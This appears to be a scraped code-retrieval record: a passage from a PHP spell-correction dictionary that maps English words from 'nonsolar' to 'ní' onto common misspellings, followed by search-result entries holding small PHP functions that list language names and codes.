\t\t'nonshrinkible',\r\n\t\t\t\t],\r\n\t\t\t\t'nonsignificant'=>[\r\n\t\t\t\t\t'nonsignificent',\r\n\t\t\t\t],\r\n\t\t\t\t'nonsolar'=>[\r\n\t\t\t\t\t'nonsoler',\r\n\t\t\t\t],\r\n\t\t\t\t'nonspecifically'=>[\r\n\t\t\t\t\t'nonspecificalally',\r\n\t\t\t\t\t'nonspecificalaly',\r\n\t\t\t\t\t'nonspecificalely',\r\n\t\t\t\t\t'nonspecificallly',\r\n\t\t\t\t],\r\n\t\t\t\t'nonspectacular'=>[\r\n\t\t\t\t\t'nonspectaculer',\r\n\t\t\t\t],\r\n\t\t\t\t'nonstationary'=>[\r\n\t\t\t\t\t'nonstationery',\r\n\t\t\t\t],\r\n\t\t\t\t'nonstudent'=>[\r\n\t\t\t\t\t'nonstudant',\r\n\t\t\t\t],\r\n\t\t\t\t'nonstudents'=>[\r\n\t\t\t\t\t'nonstudants',\r\n\t\t\t\t],\r\n\t\t\t\t'nonsupport'=>[\r\n\t\t\t\t\t'nonsuport',\r\n\t\t\t\t],\r\n\t\t\t\t'nonsymmetrical'=>[\r\n\t\t\t\t\t'nonsymnetrical',\r\n\t\t\t\t],\r\n\t\t\t\t'nonterminating'=>[\r\n\t\t\t\t\t'nonterminiting',\r\n\t\t\t\t],\r\n\t\t\t\t'nontotalitarian'=>[\r\n\t\t\t\t\t'nontotalitaran',\r\n\t\t\t\t],\r\n\t\t\t\t'nontransferable'=>[\r\n\t\t\t\t\t'nontransferible',\r\n\t\t\t\t],\r\n\t\t\t\t'nonusing'=>[\r\n\t\t\t\t\t'nonuisng',\r\n\t\t\t\t],\r\n\t\t\t\t'nonutilitarian'=>[\r\n\t\t\t\t\t'nonutilitaran',\r\n\t\t\t\t],\r\n\t\t\t\t'nonutopian'=>[\r\n\t\t\t\t\t'nonutopan',\r\n\t\t\t\t],\r\n\t\t\t\t'nonvascular'=>[\r\n\t\t\t\t\t'nonvasculer',\r\n\t\t\t\t],\r\n\t\t\t\t'nonvegetarian'=>[\r\n\t\t\t\t\t'nonvegetaran',\r\n\t\t\t\t],\r\n\t\t\t\t'nonviable'=>[\r\n\t\t\t\t\t'nonviible',\r\n\t\t\t\t],\r\n\t\t\t\t'nonviolence'=>[\r\n\t\t\t\t\t'nonviolance',\r\n\t\t\t\t],\r\n\t\t\t\t'nonvoluntary'=>[\r\n\t\t\t\t\t'nonvoluntery',\r\n\t\t\t\t],\r\n\t\t\t\t'noon'=>[\r\n\t\t\t\t\t'noon noon',\r\n\t\t\t\t\t'noon noon noon',\r\n\t\t\t\t],\r\n\t\t\t\t'nor'=>[\r\n\t\t\t\t\t'nor nor',\r\n\t\t\t\t\t'nor nor nor',\r\n\t\t\t\t],\r\n\t\t\t\t'noradrenalin'=>[\r\n\t\t\t\t\t'nouradrenalin',\r\n\t\t\t\t],\r\n\t\t\t\t'noradrenaline'=>[\r\n\t\t\t\t\t'noradrenalini',\r\n\t\t\t\t\t'nouradrenaline',\r\n\t\t\t\t],\r\n\t\t\t\t'noradrenalines'=>[\r\n\t\t\t\t\t'nouradrenalines',\r\n\t\t\t\t],\r\n\t\t\t\t'noradrenalins'=>[\r\n\t\t\t\t\t'nouradrenalins',\r\n\t\t\t\t],\r\n\t\t\t\t'noradrenergic'=>[\r\n\t\t\t\t\t'nouradrenergic',\r\n\t\t\t\t],\r\n\t\t\t\t'norepinephrine'=>[\r\n\t\t\t\t\t'norepinephrini',\r\n\t\t\t\t\t'nourepinephrine',\r\n\t\t\t\t],\r\n\t\t\t\t'norepinephrines'=>[\r\n\t\t\t\t\t'norepinephrinis',\r\n\t\t\t\t\t'nourepinephrines',\r\n\t\t\t\t],\r\n\t\t\t\t'norethindrone'=>[\r\n\t\t\t\t\t'nourethindrone',\r\n\t\t\t\t],\r\n\t\t\t\t'norethindrones'=>[\r\n\t\t\t\t\t'nourethindrones',\r\n\t\t\t\t],\r\n\t\t\t\t'norites'=>[\r\n\t\t\t\t\t'nourites',\r\n\t\t\t\t],\r\n\t\t\t\t'noritic'=>[\r\n\t\t\t\t\t'nouritic',\r\n\t\t\t\t],\r\n\t\t\t\t'norland'=>[\r\n\t\t\t\t\t'nourland',\r\n\t\t\t\t],\r\n\t\t\t\t'norlands'=>[\r\n\t\t\t\t\t'nourlands',\r\n\t\t\t\t],\r\n\t\t\t\t'normalcies'=>[\r\n\t\t\t\t\t'nourmalcies',\r\n\t\t\t\t],\r\n\t\t\t\t'normalcy'=>[\r\n\t\t\t\t\t'normalsy',\r\n\t\t\t\t\t'nourmalcy',\r\n\t\t\t\t],\r\n\t\t\t\t'normalise'=>[\r\n\t\t\t\t\t'nourmalise',\r\n\t\t\t\t],\r\n\t\t\t\t'normalised'=>[\r\n\t\t\t\t\t'nourmalised',\r\n\t\t\t\t],\r\n\t\t\t\t'normalises'=>[\r\n\t\t\t\t\t'nourmalises',\r\n\t\t\t\t],\r\n\t\t\t\t'normalising'=>[\r\n\t\t\t\t\t'nourmalising',\r\n\t\t\t\t],\r\n\t\t\t\t'normalities'=>[\r\n\t\t\t\t\t'nourmalities',\r\n\t\t\t\t],\r\n\t\t\t\t'normality'=>[\r\n\t\t\t\t\t'nourmality',\r\n\t\t\t\t],\r\n\t\t\t\t'normalizable'=>[\r\n\t\t\t\t\t'nourmalizable',\r\n\t\t\t\t],\r\n\t\t\t\t'normalization'=>[\r\n\t\t\t\t\t'nourmalization',\r\n\t\t\t\t],\r\n\t\t\t\t'normalizations'=>[\r\n\t\t\t\t\t'nourmalizations',\r\n\t\t\t\t],\r\n\t\t\t\t'normalize'=>[\r\n\t\t\t\t\t'nourmalize',\r\n\t\t\t\t],\r\n\t\t\t\t'normalized'=>[\r\n\t\t\t\t\t'nourmalized',\r\n\t\t\t\t],\r\n\t\t\t\t'normalizer'=>[\r\n\t\t\t\t\t'nourmalizer',\r\n\t\t\t\t],\r\n\t\t\t\t'normalizers'=>[\r\n\t\t\t\t\t'nourmalizers',\r\n\t\t\t\t],\r\n\t\t\t\t'normalizes'=>[\r\n\t\t\t\t\t'nourmalizes',\r\n\t\t\t\t],\r\n\t\t\t\t'normalizing'=>[\r\n\t\t\t\t\t'nourmalizing',\r\n\t\t\t\t],\r\n\t\t\t\t'normally'=>[\r\n\t\t\t\t\t'normaly',\r\n\t\t\t\t\t'nourmally',\r\n\t\t\t\t],\r\n\t\t\t\t'normals'=>[\r\n\t\t\t\t\t'nourmals',\r\n\t\t\t\t],\r\n\t\t\t\t'normande'=>[\r\n\t\t\t\t\t'nourmande',\r\n\t\t\t\t],\r\n\t\t\t\t'normative'=>[\r\n\t\t\t\t\t'nourmative',\r\n\t\t\t\t],\r\n\t\t\t\t'normatively'=>[\r\n\t\t\t\t\t'normativly',\r\n\t\t\t\t\t'nourmatively',\r\n\t\t\t\t],\r\n\t\t\t\t'normativeness'=>[\r\n\t\t\t\t\t'nourmativeness',\r\n\t\t\t\t],\r\n\t\t\t\t'normativenesses'=>[\r\n\t\t\t\t\t'nourmativenesses',\r\n\t\t\t\t],\r\n\t\t\t\t'normless'=>[\r\n\t\t\t\t\t'nourmless',\r\n\t\t\t\t],\r\n\t\t\t\t'normotensive'=>[\r\n\t\t\t\t\t'nourmotensive',\r\n\t\t\t\t],\r\n\t\t\t\t'normotensives'=>[\r\n\t\t\t\t\t'nourmotensives',\r\n\t\t\t\t],\r\n\t\t\t\t'normothermia'=>[\r\n\t\t\t\t\t'nourmothermia',\r\n\t\t\t\t],\r\n\t\t\t\t'normothermias'=>[\r\n\t\t\t\t\t'nourmothermias',\r\n\t\t\t\t],\r\n\t\t\t\t'normothermic'=>[\r\n\t\t\t\t\t'nourmothermic',\r\n\t\t\t\t],\r\n\t\t\t\t'north'=>[\r\n\t\t\t\t\t'north north',\r\n\t\t\t\t\t'north north north',\r\n\t\t\t\t\t'noth',\r\n\t\t\t\t],\r\n\t\t\t\t'north-east'=>[\r\n\t\t\t\t\t'northeast\\' & \\'northwest',\r\n\t\t\t\t],\r\n\t\t\t\t'northbound'=>[\r\n\t\t\t\t\t'nourthbound',\r\n\t\t\t\t],\r\n\t\t\t\t'northeast'=>[\r\n\t\t\t\t\t'norteast',\r\n\t\t\t\t\t'northest',\r\n\t\t\t\t\t'nourtheast',\r\n\t\t\t\t],\r\n\t\t\t\t'northeaster'=>[\r\n\t\t\t\t\t'nourtheaster',\r\n\t\t\t\t],\r\n\t\t\t\t'northeasterly'=>[\r\n\t\t\t\t\t'northeasterally',\r\n\t\t\t\t\t'northeasteraly',\r\n\t\t\t\t\t'northeasterely',\r\n\t\t\t\t\t'northeasterlly',\r\n\t\t\t\t\t'northesterly',\r\n\t\t\t\t\t'nourtheasterly',\r\n\t\t\t\t],\r\n\t\t\t\t'northeastern'=>[\r\n\t\t\t\t\t'northereastern',\r\n\t\t\t\t\t'nourtheastern',\r\n\t\t\t\t],\r\n\t\t\t\t'northeasters'=>[\r\n\t\t\t\t\t'nourtheasters',\r\n\t\t\t\t],\r\n\t\t\t\t'northeasts'=>[\r\n\t\t\t\t\t'nourtheasts',\r\n\t\t\t\t],\r\n\t\t\t\t'northeastward'=>[\r\n\t\t\t\t\t'northestward',\r\n\t\t\t\t\t'nourtheastward',\r\n\t\t\t\t],\r\n\t\t\t\t'northeastwards'=>[\r\n\t\t\t\t\t'nourtheastwards',\r\n\t\t\t\t],\r\n\t\t\t\t'norther'=>[\r\n\t\t\t\t\t'nourther',\r\n\t\t\t\t],\r\n\t\t\t\t'northerlies'=>[\r\n\t\t\t\t\t'nourtherlies',\r\n\t\t\t\t],\r\n\t\t\t\t'northerly'=>[\r\n\t\t\t\t\t'northerally',\r\n\t\t\t\t\t'northeraly',\r\n\t\t\t\t\t'northerely',\r\n\t\t\t\t\t'northerlly',\r\n\t\t\t\t\t'nourtherly',\r\n\t\t\t\t],\r\n\t\t\t\t'northern'=>[\r\n\t\t\t\t\t'northen',\r\n\t\t\t\t\t'nothern',\r\n\t\t\t\t\t'nourthern',\r\n\t\t\t\t],\r\n\t\t\t\t'northernmost'=>[\r\n\t\t\t\t\t'northermost',\r\n\t\t\t\t\t'northernost',\r\n\t\t\t\t\t'nourthernmost',\r\n\t\t\t\t],\r\n\t\t\t\t'northerns'=>[\r\n\t\t\t\t\t'nourtherns',\r\n\t\t\t\t],\r\n\t\t\t\t'northers'=>[\r\n\t\t\t\t\t'nourthers',\r\n\t\t\t\t],\r\n\t\t\t\t'northing'=>[\r\n\t\t\t\t\t'nourthing',\r\n\t\t\t\t],\r\n\t\t\t\t'northings'=>[\r\n\t\t\t\t\t'nourthings',\r\n\t\t\t\t],\r\n\t\t\t\t'northland'=>[\r\n\t\t\t\t\t'nourthland',\r\n\t\t\t\t],\r\n\t\t\t\t'northlands'=>[\r\n\t\t\t\t\t'nourthlands',\r\n\t\t\t\t],\r\n\t\t\t\t'northmost'=>[\r\n\t\t\t\t\t'nourthmost',\r\n\t\t\t\t],\r\n\t\t\t\t'northward'=>[\r\n\t\t\t\t\t'nourthward',\r\n\t\t\t\t],\r\n\t\t\t\t'northwards'=>[\r\n\t\t\t\t\t'nothwards',\r\n\t\t\t\t\t'nourthwards',\r\n\t\t\t\t],\r\n\t\t\t\t'northwest'=>[\r\n\t\t\t\t\t'nortwest',\r\n\t\t\t\t\t'nourthwest',\r\n\t\t\t\t],\r\n\t\t\t\t'northwester'=>[\r\n\t\t\t\t\t'nourthwester',\r\n\t\t\t\t],\r\n\t\t\t\t'northwesterly'=>[\r\n\t\t\t\t\t'northwesterally',\r\n\t\t\t\t\t'northwesteraly',\r\n\t\t\t\t\t'northwesterely',\r\n\t\t\t\t\t'northwesterlly',\r\n\t\t\t\t\t'nourthwesterly',\r\n\t\t\t\t],\r\n\t\t\t\t'northwestern'=>[\r\n\t\t\t\t\t'nourthwestern',\r\n\t\t\t\t],\r\n\t\t\t\t'northwesters'=>[\r\n\t\t\t\t\t'nourthwesters',\r\n\t\t\t\t],\r\n\t\t\t\t'northwests'=>[\r\n\t\t\t\t\t'nourthwests',\r\n\t\t\t\t],\r\n\t\t\t\t'northwestward'=>[\r\n\t\t\t\t\t'nourthwestward',\r\n\t\t\t\t],\r\n\t\t\t\t'northwestwards'=>[\r\n\t\t\t\t\t'nourthwestwards',\r\n\t\t\t\t],\r\n\t\t\t\t'nortriptyline'=>[\r\n\t\t\t\t\t'nortriptylini',\r\n\t\t\t\t\t'nourtriptyline',\r\n\t\t\t\t],\r\n\t\t\t\t'nortriptylines'=>[\r\n\t\t\t\t\t'nourtriptylines',\r\n\t\t\t\t],\r\n\t\t\t\t'norway'=>[\r\n\t\t\t\t\t'norwway',\r\n\t\t\t\t],\r\n\t\t\t\t'norwegian'=>[\r\n\t\t\t\t\t'norweigan',\r\n\t\t\t\t],\r\n\t\t\t\t'norwegian-occupied'=>[\r\n\t\t\t\t\t'norwegian occupied',\r\n\t\t\t\t],\r\n\t\t\t\t'nose'=>[\r\n\t\t\t\t\t'nose nose',\r\n\t\t\t\t\t'nose nose nose',\r\n\t\t\t\t],\r\n\t\t\t\t'nosepiece'=>[\r\n\t\t\t\t\t'nosepeice',\r\n\t\t\t\t\t'nosepice',\r\n\t\t\t\t],\r\n\t\t\t\t'nosy'=>[\r\n\t\t\t\t\t'nocy',\r\n\t\t\t\t],\r\n\t\t\t\t'not'=>[\r\n\t\t\t\t\t'not not',\r\n\t\t\t\t\t'not not not',\r\n\t\t\t\t\t'nto',\r\n\t\t\t\t],\r\n\t\t\t\t'not to be'=>[\r\n\t\t\t\t\t'not te be',\r\n\t\t\t\t],\r\n\t\t\t\t'notable'=>[\r\n\t\t\t\t\t'noteable',\r\n\t\t\t\t\t'notible',\r\n\t\t\t\t],\r\n\t\t\t\t'notably'=>[\r\n\t\t\t\t\t'noteably',\r\n\t\t\t\t],\r\n\t\t\t\t'notary'=>[\r\n\t\t\t\t\t'notery',\r\n\t\t\t\t],\r\n\t\t\t\t'note'=>[\r\n\t\t\t\t\t'note note',\r\n\t\t\t\t\t'note note note',\r\n\t\t\t\t],\r\n\t\t\t\t'noteworthy'=>[\r\n\t\t\t\t\t'notewothy',\r\n\t\t\t\t],\r\n\t\t\t\t'nothing'=>[\r\n\t\t\t\t\t'nothing nothing',\r\n\t\t\t\t\t'nothing nothing nothing',\r\n\t\t\t\t],\r\n\t\t\t\t'nothingness'=>[\r\n\t\t\t\t\t'nothingnes',\r\n\t\t\t\t],\r\n\t\t\t\t'noticable'=>[\r\n\t\t\t\t\t'noticible',\r\n\t\t\t\t],\r\n\t\t\t\t'notice'=>[\r\n\t\t\t\t\t'notice notice',\r\n\t\t\t\t\t'notice notice notice',\r\n\t\t\t\t],\r\n\t\t\t\t'noticeable'=>[\r\n\t\t\t\t\t'noticable',\r\n\t\t\t\t\t'noticeble',\r\n\t\t\t\t\t'noticeible',\r\n\t\t\t\t\t'noticible',\r\n\t\t\t\t],\r\n\t\t\t\t'noticeably'=>[\r\n\t\t\t\t\t'noticably',\r\n\t\t\t\t\t'noticeabally',\r\n\t\t\t\t\t'noticeabaly',\r\n\t\t\t\t\t'noticeabely',\r\n\t\t\t\t\t'noticeablly',\r\n\t\t\t\t\t'noticebly',\r\n\t\t\t\t\t'noticibly',\r\n\t\t\t\t],\r\n\t\t\t\t'noticing'=>[\r\n\t\t\t\t\t'noticeing',\r\n\t\t\t\t],\r\n\t\t\t\t'notifiable'=>[\r\n\t\t\t\t\t'notifiible',\r\n\t\t\t\t],\r\n\t\t\t\t'notoriety'=>[\r\n\t\t\t\t\t'nortoriety',\r\n\t\t\t\t\t'notariety',\r\n\t\t\t\t\t'noteriety',\r\n\t\t\t\t\t'notoreity',\r\n\t\t\t\t\t'notority',\r\n\t\t\t\t],\r\n\t\t\t\t'notorious'=>[\r\n\t\t\t\t\t'nortorious',\r\n\t\t\t\t\t'notorios',\r\n\t\t\t\t\t'notorius',\r\n\t\t\t\t\t'notorous',\r\n\t\t\t\t],\r\n\t\t\t\t'notoriously'=>[\r\n\t\t\t\t\t'notorously',\r\n\t\t\t\t],\r\n\t\t\t\t'noun'=>[\r\n\t\t\t\t\t'noun noun',\r\n\t\t\t\t\t'noun noun noun',\r\n\t\t\t\t],\r\n\t\t\t\t'nourishment'=>[\r\n\t\t\t\t\t'nourishmant',\r\n\t\t\t\t],\r\n\t\t\t\t'nouveau'=>[\r\n\t\t\t\t\t'nouveu',\r\n\t\t\t\t\t'noveau',\r\n\t\t\t\t],\r\n\t\t\t\t'nouvelle'=>[\r\n\t\t\t\t\t'nouvele',\r\n\t\t\t\t],\r\n\t\t\t\t'novella'=>[\r\n\t\t\t\t\t'novela',\r\n\t\t\t\t],\r\n\t\t\t\t'november'=>[\r\n\t\t\t\t\t'nobember',\r\n\t\t\t\t\t'novembber',\r\n\t\t\t\t\t'novemeber',\r\n\t\t\t\t\t'novemebr',\r\n\t\t\t\t\t'novemver',\r\n\t\t\t\t\t'novermber',\r\n\t\t\t\t],\r\n\t\t\t\t'novemdecillion'=>[\r\n\t\t\t\t\t'novemdecilion',\r\n\t\t\t\t],\r\n\t\t\t\t'novgorod'=>[\r\n\t\t\t\t\t'novgord',\r\n\t\t\t\t\t'novgord', 'novgrod',\r\n\t\t\t\t],\r\n\t\t\t\t'now'=>[\r\n\t\t\t\t\t'now now',\r\n\t\t\t\t\t'now now now',\r\n\t\t\t\t],\r\n\t\t\t\t'now he'=>[\r\n\t\t\t\t\t'nowh e',\r\n\t\t\t\t],\r\n\t\t\t\t'nowadays'=>[\r\n\t\t\t\t\t'now a days',\r\n\t\t\t\t\t'now adays',\r\n\t\t\t\t\t'nowdays',\r\n\t\t\t\t],\r\n\t\t\t\t'noxious'=>[\r\n\t\t\t\t\t'noxous',\r\n\t\t\t\t],\r\n\t\t\t\t'noxiously'=>[\r\n\t\t\t\t\t'noxously',\r\n\t\t\t\t],\r\n\t\t\t\t'nuance'=>[\r\n\t\t\t\t\t'naunce',\r\n\t\t\t\t\t'nuence',\r\n\t\t\t\t],\r\n\t\t\t\t'nubbin'=>[\r\n\t\t\t\t\t'nubin',\r\n\t\t\t\t],\r\n\t\t\t\t'nubbinesses'=>[\r\n\t\t\t\t\t'nubinesses',\r\n\t\t\t\t],\r\n\t\t\t\t'nubble'=>[\r\n\t\t\t\t\t'nuble',\r\n\t\t\t\t],\r\n\t\t\t\t'nubbly'=>[\r\n\t\t\t\t\t'nubbally',\r\n\t\t\t\t\t'nubbaly',\r\n\t\t\t\t\t'nubbely',\r\n\t\t\t\t\t'nubblly',\r\n\t\t\t\t\t'nubly',\r\n\t\t\t\t],\r\n\t\t\t\t'nubby'=>[\r\n\t\t\t\t\t'nuby',\r\n\t\t\t\t],\r\n\t\t\t\t'nucellar'=>[\r\n\t\t\t\t\t'nuceller',\r\n\t\t\t\t],\r\n\t\t\t\t'nuclear'=>[\r\n\t\t\t\t\t'neuclear',\r\n\t\t\t\t\t'nucleer',\r\n\t\t\t\t\t'nucler',\r\n\t\t\t\t\t'nucular',\r\n\t\t\t\t\t'nuculear',\r\n\t\t\t\t],\r\n\t\t\t\t'nuclei'=>[\r\n\t\t\t\t\t'nuclie',\r\n\t\t\t\t],\r\n\t\t\t\t'nuclein'=>[\r\n\t\t\t\t\t'nuclien',\r\n\t\t\t\t],\r\n\t\t\t\t'nucleolar'=>[\r\n\t\t\t\t\t'nucleoler',\r\n\t\t\t\t],\r\n\t\t\t\t'nucleoprotein'=>[\r\n\t\t\t\t\t'nucleoprotien',\r\n\t\t\t\t],\r\n\t\t\t\t'nucleoproteins'=>[\r\n\t\t\t\t\t'nucleoprotiens',\r\n\t\t\t\t],\r\n\t\t\t\t'nucleus'=>[\r\n\t\t\t\t\t'nucleas',\r\n\t\t\t\t\t'nucleaus',\r\n\t\t\t\t],\r\n\t\t\t\t'nudely'=>[\r\n\t\t\t\t\t'nudly',\r\n\t\t\t\t],\r\n\t\t\t\t'nudie'=>[\r\n\t\t\t\t\t'nudei',\r\n\t\t\t\t\t'nudi',\r\n\t\t\t\t],\r\n\t\t\t\t'nugget'=>[\r\n\t\t\t\t\t'nuget',\r\n\t\t\t\t],\r\n\t\t\t\t'nuggets'=>[\r\n\t\t\t\t\t'nugets',\r\n\t\t\t\t],\r\n\t\t\t\t'nuggety'=>[\r\n\t\t\t\t\t'nugety',\r\n\t\t\t\t],\r\n\t\t\t\t'nuisance'=>[\r\n\t\t\t\t\t'nuisanse',\r\n\t\t\t\t\t'nuisence',\r\n\t\t\t\t\t'nusance',\r\n\t\t\t\t],\r\n\t\t\t\t'null'=>[\r\n\t\t\t\t\t'nul',\r\n\t\t\t\t],\r\n\t\t\t\t'nullah'=>[\r\n\t\t\t\t\t'nulla',\r\n\t\t\t\t],\r\n\t\t\t\t'nullahs'=>[\r\n\t\t\t\t\t'nullas',\r\n\t\t\t\t],\r\n\t\t\t\t'nullarbor'=>[\r\n\t\t\t\t\t'nullabour',\r\n\t\t\t\t],\r\n\t\t\t\t'nullification'=>[\r\n\t\t\t\t\t'nulification',\r\n\t\t\t\t],\r\n\t\t\t\t'nullify'=>[\r\n\t\t\t\t\t'nulify',\r\n\t\t\t\t],\r\n\t\t\t\t'nullipara'=>[\r\n\t\t\t\t\t'nullipera',\r\n\t\t\t\t],\r\n\t\t\t\t'number'=>[\r\n\t\t\t\t\t'number number',\r\n\t\t\t\t\t'number number number',\r\n\t\t\t\t],\r\n\t\t\t\t'numbskull'=>[\r\n\t\t\t\t\t'numbscul',\r\n\t\t\t\t],\r\n\t\t\t\t'numerable'=>[\r\n\t\t\t\t\t'numerible',\r\n\t\t\t\t],\r\n\t\t\t\t'numeracy'=>[\r\n\t\t\t\t\t'numerasy',\r\n\t\t\t\t],\r\n\t\t\t\t'numeral'=>[\r\n\t\t\t\t\t'numeral numeral',\r\n\t\t\t\t\t'numeral numeral numeral',\r\n\t\t\t\t],\r\n\t\t\t\t'numerary'=>[\r\n\t\t\t\t\t'numerery',\r\n\t\t\t\t],\r\n\t\t\t\t'numerous'=>[\r\n\t\t\t\t\t'numberous',\r\n\t\t\t\t],\r\n\t\t\t\t'numina'=>[\r\n\t\t\t\t\t'numini',\r\n\t\t\t\t],\r\n\t\t\t\t'nummary'=>[\r\n\t\t\t\t\t'nummery',\r\n\t\t\t\t],\r\n\t\t\t\t'nummular'=>[\r\n\t\t\t\t\t'nummuler',\r\n\t\t\t\t\t'numnular',\r\n\t\t\t\t],\r\n\t\t\t\t'nummulite'=>[\r\n\t\t\t\t\t'numnulite',\r\n\t\t\t\t],\r\n\t\t\t\t'nunnery'=>[\r\n\t\t\t\t\t'nunery',\r\n\t\t\t\t],\r\n\t\t\t\t'nuptial'=>[\r\n\t\t\t\t\t'nuptual',\r\n\t\t\t\t],\r\n\t\t\t\t'nuremberg'=>[\r\n\t\t\t\t\t'nuremburg',\r\n\t\t\t\t],\r\n\t\t\t\t'nurturance'=>[\r\n\t\t\t\t\t'nurturence',\r\n\t\t\t\t],\r\n\t\t\t\t'nusch éluard'=>[\r\n\t\t\t\t\t'nusch eluard',\r\n\t\t\t\t],\r\n\t\t\t\t'nutant'=>[\r\n\t\t\t\t\t'nutent',\r\n\t\t\t\t],\r\n\t\t\t\t'nutrient'=>[\r\n\t\t\t\t\t'nutreint',\r\n\t\t\t\t\t'nutriant',\r\n\t\t\t\t\t'nutrint',\r\n\t\t\t\t\t'nutritent',\r\n\t\t\t\t],\r\n\t\t\t\t'nutritious'=>[\r\n\t\t\t\t\t'nutritous',\r\n\t\t\t\t],\r\n\t\t\t\t'nutritiously'=>[\r\n\t\t\t\t\t'nutritously',\r\n\t\t\t\t],\r\n\t\t\t\t'nutritively'=>[\r\n\t\t\t\t\t'nutritivly',\r\n\t\t\t\t],\r\n\t\t\t\t'nutsedge'=>[\r\n\t\t\t\t\t'nutsege',\r\n\t\t\t\t],\r\n\t\t\t\t'nutsedges'=>[\r\n\t\t\t\t\t'nutseges',\r\n\t\t\t\t],\r\n\t\t\t\t'nutshell'=>[\r\n\t\t\t\t\t'nutshel',\r\n\t\t\t\t],\r\n\t\t\t\t'nutsy'=>[\r\n\t\t\t\t\t'nutcy',\r\n\t\t\t\t],\r\n\t\t\t\t'nympholepsy'=>[\r\n\t\t\t\t\t'nympholepcy',\r\n\t\t\t\t],\r\n\t\t\t\t'née'=>[\r\n\t\t\t\t\t'neé',\r\n\t\t\t\t],\r\n\t\t\t\t'néron'=>[\r\n\t\t\t\t\t'neron',\r\n\t\t\t\t],\r\n\t\t\t\t'ní'=>[\r\n\t\t\t\t\t'ni',\r\n\t\t\t\t],\r\n\t\t\t];\r\n\t\t}", "title": "" }, { "docid": "3a14db62fd73c0c94f8323cc516cfa4b", "score": "0.54020226", "text": "public function get_tags()\n {\n $tags = array();\n\n if ($this->data['type'] == 'dictionary')\n $tags = array($this->data['language']);\n\n return $tags;\n }", "title": "" }, { "docid": "42617a8d10949b77b232cf10ff8229c5", "score": "0.537297", "text": "function get_languages() {\n\t$language = array('1'=>'Assamese','2'=>'Bengali','3'=>'Bodo','4'=>'Dogri','5'=>'English',\"6\"=>\"Gujarati\",\"7\"=>\"Hindi\",\"8\"=>\"Kannada\",\"9\"=>\"Kashmiri\",\n\t\"10\"=>\"Konkani\",\"11\"=>\"Maithili\",\"12\"=>\"Malayalam\",\"13\"=>\"Marathi\",\"14\"=>\"Meitei (Manipuri)\",\"15\"=>\"Nepali\",\"16\"=>\"Odia\",\"17\"=>\"Punjabi\",\"18\"=>\"Sanskrit\",\n\t\"19\"=>\"Santali\",\"20\"=>\"Sindhi\",\"21\"=>\"Tamil\",\"22\"=>\"Telugu\",\"23\"=>\"Urdu\");\n\treturn $language;\n}", "title": "" }, { "docid": "7f42ed4f934e94e9c8b650b81bd097cd", "score": "0.5346177", "text": "function languages() {\n\t// pack abbreviation/language array\n\t// important note: you must have the default language as the last item in each major language, after all the\n\t// en-ca type entries, so en would be last in that case\n\t$a_languages = array ('af' => 'Afrikaans', \n\t 'sq' => 'Albanian', 'ar-dz' => 'Arabic (Algeria)',\n\t 'ar-bh' => 'Arabic (Bahrain)', 'ar-eg' => 'Arabic (Egypt)', \n\t 'ar-iq' => 'Arabic (Iraq)', 'ar-jo' => 'Arabic (Jordan)', \n\t 'ar-kw' => 'Arabic (Kuwait)', 'ar-lb' => 'Arabic (Lebanon)', \n\t 'ar-ly' => 'Arabic (libya)', 'ar-ma' => 'Arabic (Morocco)', \n\t 'ar-om' => 'Arabic (Oman)', 'ar-qa' => 'Arabic (Qatar)', \n\t 'ar-sa' => 'Arabic (Saudi Arabia)', 'ar-sy' => 'Arabic (Syria)', \n\t 'ar-tn' => 'Arabic (Tunisia)', 'ar-ae' => 'Arabic (U.A.E.)', \n\t 'ar-ye' => 'Arabic (Yemen)', 'ar' => 'Arabic', \n\t 'hy' => 'Armenian', 'as' => 'Assamese', \n\t 'az' => 'Azeri', 'eu' => 'Basque', \n\t 'be' => 'Belarusian', 'bn' => 'Bengali', \n\t 'bg' => 'Bulgarian', 'ca' => 'Catalan', \n\t 'zh-cn' => 'Chinese (China)', 'zh-hk' => 'Chinese (Hong Kong SAR)',\n\t 'zh-mo' => 'Chinese (Macau SAR)', 'zh-sg' => 'Chinese (Singapore)',\n\t 'zh-tw' => 'Chinese (Taiwan)', 'zh' => 'Chinese', \n\t 'hr' => 'Croatian', 'cs' => 'Czech', \n\t 'da' => 'Danish', 'div' => 'Divehi',\n\t 'nl-be' => 'Dutch (Belgium)', 'nl' => 'Dutch (Netherlands)', \n\t 'en-au' => 'English (Australia)', 'en-bz' => 'English (Belize)', \n\t 'en-ca' => 'English (Canada)', 'en-ie' => 'English (Ireland)', \n\t 'en-jm' => 'English (Jamaica)', 'en-nz' => 'English (New Zealand)', \n\t 'en-ph' => 'English (Philippines)', 'en-za' => 'English (South Africa)',\n\t 'en-tt' => 'English (Trinidad)', 'en-gb' => 'English (United Kingdom)', \n\t 'en-us' => 'English (United States)', 'en-zw' => 'English (Zimbabwe)', \n\t 'en' => 'English', 'us' => 'English (United States)', 'et' => 'Estonian', 'fo' => 'Faeroese', 'fa' => 'Farsi', 'fi' => 'Finnish', 'fr-be' => 'French (Belgium)', 'fr-ca' => 'French (Canada)', 'fr-lu' => 'French (Luxembourg)', 'fr-mc' => 'French (Monaco)', 'fr-ch' => 'French (Switzerland)', 'fr' => 'French (France)', 'mk' => 'FYRO Macedonian', 'gd' => 'Gaelic', 'ka' => 'Georgian', 'de-at' => 'German (Austria)', 'de-li' => 'German (Liechtenstein)', 'de-lu' => 'German (Luxembourg)', 'de-ch' => 'German (Switzerland)', 'de' => 'German (Germany)', 'el' => 'Greek', 'gu' => 'Gujarati', 'he' => 'Hebrew', 'hi' => 'Hindi', 'hu' => 'Hungarian', 'is' => 'Icelandic', 'id' => 'Indonesian', 'it-ch' => 'Italian (Switzerland)', 'it' => 'Italian (Italy)', 'ja' => 'Japanese', 'kn' => 'Kannada', 'kk' => 'Kazakh', 'kok' => 'Konkani', 'ko' => 'Korean', 'kz' => 'Kyrgyz', 'lv' => 'Latvian', 'lt' => 'Lithuanian', 'ms' => 'Malay', 'ml' => 'Malayalam', 'mt' => 'Maltese', 'mr' => 'Marathi', 'mn' => 'Mongolian (Cyrillic)', 'ne' => 'Nepali (India)', 'nb-no' => 'Norwegian (Bokmal)', 'nn-no' => 'Norwegian (Nynorsk)', 'no' => 'Norwegian (Bokmal)', 'or' => 'Oriya', 'pl' => 'Polish', 'pt-br' => 'Portuguese (Brazil)', 'pt' => 'Portuguese (Portugal)', 'pa' => 'Punjabi', 'rm' => 'Rhaeto-Romanic', 'ro-md' => 'Romanian (Moldova)', 'ro' => 'Romanian', 'ru-md' => 'Russian (Moldova)', 'ru' => 'Russian', 'sa' => 'Sanskrit', 'sr' => 'Serbian', 